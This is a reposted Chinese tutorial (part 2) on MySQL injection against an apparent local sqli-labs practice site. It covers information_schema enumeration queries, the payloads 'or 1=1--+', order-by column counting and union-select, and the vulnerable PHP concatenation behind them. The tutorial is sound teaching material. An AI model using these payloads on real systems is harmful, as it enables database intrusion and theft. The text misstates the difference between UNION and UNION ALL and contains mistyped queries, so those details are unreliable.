一篇Mysql注入最全详解(2)
来源:互联网 发布:算法c语言实现pdf 网盘 编辑:程序博客网 时间:2024/06/09 18:22
一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据。
现在做一些mysql的基本操作。启动mysql,然后通过查询检查下数据库:
show databases;
现在我们可以看到这里有四张表,然后我们来看下这张表的结构。
desc emails;
在继续进行前台攻击时,我们想讨论下系统数据库,即information_schema。所以我们使用它.
use information_schema
让我们来看下表格。
show tables;
现在我们先来枚举这张表
desc tables;
现在我们来使用这个查询:
select table_name frominformation_schema.table where table_schema = "security";
使用这个查询,我们可以下载到表名。
Mysql有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程。猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容
Select *** from ****
我们可以在 http://127.0.0.1/sqllib/Less-5/?id=1 后面直接添加一个 ‘ ,来看一下效果:
从上述错误当中,我们可以看到提交到sql 中的 1’在经过 sql 语句构造后形成 '1'' LIMIT 0,1,多加了一个 ’ 。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的‘ 去掉呢?
尝试 ‘or 1=1--+
此时构造的 sql 语句就成了
Select ****** where id='1'or 1=1--+' LIMIT 0,1
可以看到正常返回数据。此处可以利用 order by。Order by 对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。 ‘order by 4--+的结果显示结果超出。
最后从源代码中分析下为什么会造成注入?
Sql 语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT0,1";
Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 ‘or 1=1--+,直接构造的 sql 语句就是
SELECT * FROM users WHERE id=’1’or1=1--+ LIMIT 0,1
这条语句因 or 1=1 所以为永恒真。
此外,此处介绍 union联合注入,union 的作用是将两个 sql 语句进行联合。Union 可以从下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U nion all 与 union 的区别是增加了去重的功能。我们这里根据上述 background 的知识,进行 information_schema 知识的应用。
http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2--+
当 id 的数据在数据库中不存在时,(此时我们可以id=-1,两个 sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union 的数据。
未完待续.......................
End.
文章转载自:数据库SQL
- 一篇Mysql注入最全详解(2)
- sublime3插件开发,最全一篇文章
- 最全PHP防止sql注入方法
- 最全防止sql注入方法
- PHP最全防止sql注入方法
- 最全防止sql注入方法
- 最全防止sql注入方法
- 最全防止sql注入方法
- Mysql注入详解
- php+Mysql注入详解
- php+Mysql注入详解
- 新一篇: SQL注入漏洞全接触--进阶篇
- mysql 最全备份方式
- MySQL命令大全最全
- 最全设计模式详解
- iOS UIAppearance最全详解
- UINavigationController 详解(最全的)
- iOS -最全UIButton详解
- Redis集群安装(Redis3.0.3 + CentOS6.6_x64)
- vs2015改改编辑器背景颜色
- 2 D3.js 数据可视化实战手册(电子书)
- springJdbcTemplate与原始jdbc执行时间比较
- C++ explicit关键字详解
- 一篇Mysql注入最全详解(2)
- git命令
- Python--一些重要的小tips【持续更新】
- NoHttp请求的使用
- linux下vi命令大全
- ubuntu修改mac地址
- oracle 使用instr()函数对in查询出的记录按照in中的数据进行排序
- Kotlin入门教程系列(二) 基本数据类型 Number
- PHP pdo 预定义常量用法实例